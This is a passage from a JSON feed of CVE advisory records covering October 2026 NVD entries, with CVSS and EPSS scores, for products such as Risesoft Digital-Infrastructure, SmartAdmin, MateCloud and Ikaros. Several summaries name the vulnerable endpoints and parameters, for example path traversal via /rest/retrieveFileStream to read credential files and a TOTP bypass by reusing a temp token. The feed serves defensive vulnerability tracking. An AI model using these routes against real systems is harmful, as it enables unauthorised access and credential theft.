product details and SKUs and reassign products to their own store.","detail":"PickMall lilishop through 4.4 contains an insecure direct object reference vulnerability that allows authenticated sellers to overwrite any store's product by supplying another store's goodsId to the goods update endpoint. Attackers can send PUT requests to /store/goods/goods/update/{goodsId} to replace product details and SKUs and reassign products to their own store.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:36.557Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110121","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00277,"percentile":0.19944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110121","type":"primary","publishedAt":"2026-10-13T17:17:36.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110119","cveId":"CVE-2026-110119","aliases":[],"kind":"vulnerability","title":"Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other...","summary":"Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other members' shipping addresses. Attackers can enumerate sequential address ids via /address/detail/{id}, /address/del and /address/edit to expose recipient names, phone numbers and addresses, reassign them, or delete them.","detail":"Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other members' shipping addresses. Attackers can enumerate sequential address ids via /address/detail/{id}, /address/del and /address/edit to expose recipient names, phone numbers and addresses, reassign them, or delete them.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:36.273Z","updatedAt":"2026-10-16T14:52:58.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110119","asOf":"2026-10-16T14:52:58.417Z"},"epss":{"probability":0.00335,"percentile":0.26653,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110119","type":"primary","publishedAt":"2026-10-13T17:17:36.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110118","cveId":"CVE-2026-110118","aliases":[],"kind":"vulnerability","title":"WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via...","summary":"WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via /vue/buttonOperation endpoints. Low-privileged attackers can supply a known taskId to the complete, completeTask or reAssign handlers to approve tasks or reassign them without authority.","detail":"WorkFlow-Engine through 9.6.11 contains a missing authorization vulnerability that allows authenticated users to complete or reassign other users' workflow tasks via /vue/buttonOperation endpoints. Low-privileged attackers can supply a known taskId to the complete, completeTask or reAssign handlers to approve tasks or reassign them without authority.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:36.130Z","updatedAt":"2026-10-16T23:16:59.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110118","asOf":"2026-10-16T23:16:59.303Z"},"epss":{"probability":0.00277,"percentile":0.19944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110118","type":"primary","publishedAt":"2026-10-13T17:17:36.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110117","cveId":"CVE-2026-110117","aliases":[],"kind":"vulnerability","title":"SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3...","summary":"SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3 protection settings. Attackers can call the unannotated updateConfig and loginFail batchDelete endpoints to disable login lockout and two-factor login, weaken password rules, and clear lockout records.","detail":"SmartAdmin through 3.30.0 contains a missing authorization vulnerability in AdminProtectController that allows authenticated low-privileged employees to modify system-wide level-3 protection settings. Attackers can call the unannotated updateConfig and loginFail batchDelete endpoints to disable login lockout and two-factor login, weaken password rules, and clear lockout records.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:35.977Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110117","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00277,"percentile":0.19943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110117","type":"primary","publishedAt":"2026-10-13T17:17:35.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110116","cveId":"CVE-2026-110116","aliases":[],"kind":"vulnerability","title":"Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to...","summary":"Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to write arbitrary files. Attackers can send crafted fullPath and fileName parameters to POST /rest/storeFile to create or overwrite service-writable files, potentially achieving code execution.","detail":"Risesoft-y9 Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager storeFile endpoint that allows unauthenticated attackers to write arbitrary files. Attackers can send crafted fullPath and fileName parameters to POST /rest/storeFile to create or overwrite service-writable files, potentially achieving code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:35.843Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110116","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00592,"percentile":0.48001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110116","type":"primary","publishedAt":"2026-10-13T17:17:35.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110115","cveId":"CVE-2026-110115","aliases":[],"kind":"vulnerability","title":"Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows...","summary":"Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows unauthenticated attackers to read arbitrary files by supplying parent-directory segments in the fullPath and fileName parameters. Attackers can request the unauthenticated /rest/retrieveFileStream endpoint to retrieve files like application.yml, exposing database, Redis and Nacos credentials.","detail":"Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows unauthenticated attackers to read arbitrary files by supplying parent-directory segments in the fullPath and fileName parameters. Attackers can request the unauthenticated /rest/retrieveFileStream endpoint to retrieve files like application.yml, exposing database, Redis and Nacos credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:35.697Z","updatedAt":"2026-10-16T14:52:58.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110115","asOf":"2026-10-16T14:52:58.417Z"},"epss":{"probability":0.00433,"percentile":0.3729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110115","type":"primary","publishedAt":"2026-10-13T17:17:35.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110109","cveId":"CVE-2026-110109","aliases":[],"kind":"vulnerability","title":"JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST...","summary":"JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST /device/transparent-codec/{productId}. Because the endpoint lacks @SaveAction, attackers can save arbitrary codec providers and configurations, controlling how transparent messages are decoded and encoded for every device of that product.","detail":"JetLinks Community through 2.10.0 contains a missing authorization vulnerability that allows users with only query access on transparent-codec to overwrite product codecs via POST /device/transparent-codec/{productId}. Because the endpoint lacks @SaveAction, attackers can save arbitrary codec providers and configurations, controlling how transparent messages are decoded and encoded for every device of that product.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:35.070Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110109","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00277,"percentile":0.19944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110109","type":"primary","publishedAt":"2026-10-13T17:17:35.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110108","cveId":"CVE-2026-110108","aliases":[],"kind":"vulnerability","title":"MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage...","summary":"MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage endpoints in StorageController. Low-privilege or self-registered users can supply arbitrary bucket and objectName values to list objects, obtain pre-signed download URLs for other users' files, delete objects, and upload at chosen keys.","detail":"MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage endpoints in StorageController. Low-privilege or self-registered users can supply arbitrary bucket and objectName values to list objects, obtain pre-signed download URLs for other users' files, delete objects, and upload at chosen keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:34.920Z","updatedAt":"2026-10-16T14:52:58.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110108","asOf":"2026-10-16T14:52:58.417Z"},"epss":{"probability":0.00304,"percentile":0.22964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110108","type":"primary","publishedAt":"2026-10-13T17:17:34.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110104","cveId":"CVE-2026-110104","aliases":[],"kind":"vulnerability","title":"Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted...","summary":"Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted MD5 digests in user_info.password. Attackers who obtain the password column through a database leak or backup exposure can crack hashes with precomputed tables or GPU brute force and reuse credentials.","detail":"Xxyopen novel through 3.5.0 contains a weak password hashing vulnerability that allows attackers to recover plaintext passwords because UserServiceImpl.register() stores unsalted MD5 digests in user_info.password. Attackers who obtain the password column through a database leak or backup exposure can crack hashes with precomputed tables or GPU brute force and reuse credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:34.310Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110104","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00284,"percentile":0.2076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110104","type":"primary","publishedAt":"2026-10-13T17:17:34.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110102","cveId":"CVE-2026-110102","aliases":[],"kind":"vulnerability","title":"Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips...","summary":"Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips integrity checks when no SHA-256 utility exists. Network-positioned attackers can intercept the github.com mirror request and substitute a malicious archive, which runs as the gitstatusd daemon under the user's account on every prompt.","detail":"Powerlevel10k through 1.20.0 contains an insecure download vulnerability in the gitstatus/install script that disables TLS certificate verification with curl -k and skips integrity checks when no SHA-256 utility exists. Network-positioned attackers can intercept the github.com mirror request and substitute a malicious archive, which runs as the gitstatusd daemon under the user's account on every prompt.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T17:17:33.987Z","updatedAt":"2026-10-14T16:17:38.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110102","asOf":"2026-10-14T16:17:38.180Z"},"epss":{"probability":0.00121,"percentile":0.01921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110102","type":"primary","publishedAt":"2026-10-13T17:17:33.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110097","cveId":"CVE-2026-110097","aliases":[],"kind":"vulnerability","title":"Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token.","summary":"Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token. Attackers can present the temp token from the jwt/apply endpoint as a bearer JWT, refresh it, or use HTTP Basic login to gain full account access, including the master administrator.","detail":"Ikaros 1.2.0 through 1.2.5 contains an authentication bypass vulnerability that allows attackers with a valid password to skip TOTP verification by reusing the login temp token. Attackers can present the temp token from the jwt/apply endpoint as a bearer JWT, refresh it, or use HTTP Basic login to gain 